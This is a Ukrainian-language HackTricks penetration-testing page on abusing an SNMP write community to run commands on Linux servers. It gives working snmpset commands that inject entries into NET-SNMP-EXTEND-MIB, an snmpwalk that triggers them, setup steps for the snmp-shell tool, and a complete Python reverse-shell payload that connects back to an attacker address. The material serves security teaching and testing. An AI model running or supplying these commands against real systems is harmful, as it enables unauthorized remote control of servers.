tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
SNMP RCE
SNMP може бути використано зловмисником, якщо адміністратор не звертає уваги на його стандартну конфігурацію на пристрої або сервері. Зловмисник може виконувати команди на сервері, зловживаючи SNMP спільнотою з правами запису (rwcommunity) на операційній системі Linux.
Розширення послуг додатковими командами
Щоб розширити SNMP послуги та додати додаткові команди, можна додати нові рядки до таблиці "nsExtendObjects". Це можна зробити, використовуючи команду snmpset
і надаючи необхідні параметри, включаючи абсолютний шлях до виконуваного файлу та команду, що підлягає виконанню:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Впровадження команд для виконання
Впровадження команд для виконання на службі SNMP вимагає наявності та можливості виконання викликаного бінарного файлу/скрипту. NET-SNMP-EXTEND-MIB
вимагає надання абсолютного шляху до виконуваного файлу.
Щоб підтвердити виконання впровадженої команди, можна використовувати команду snmpwalk
для перерахунку служби SNMP. вихідні дані відобразять команду та її супутні деталі, включаючи абсолютний шлях:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Виконання Впроваджених Команд
Коли впроваджена команда читається, вона виконується. Ця поведінка відома як run-on-read()
. Виконання команди можна спостерігати під час читання snmpwalk.
Отримання Shell Сервера за Допомогою SNMP
Щоб отримати контроль над сервером і отримати shell сервера, можна використовувати python-скрипт, розроблений mxrch, з https://github.com/mxrch/snmp-shell.git.
Альтернативно, реверсний shell можна створити вручну, впровадивши конкретну команду в SNMP. Ця команда, активована snmpwalk, встановлює з'єднання реверсного shell з машиною атакуючого, що дозволяє отримати контроль над машиною жертви. Ви можете встановити попередні вимоги для запуску цього:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Або зворотний шелл:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.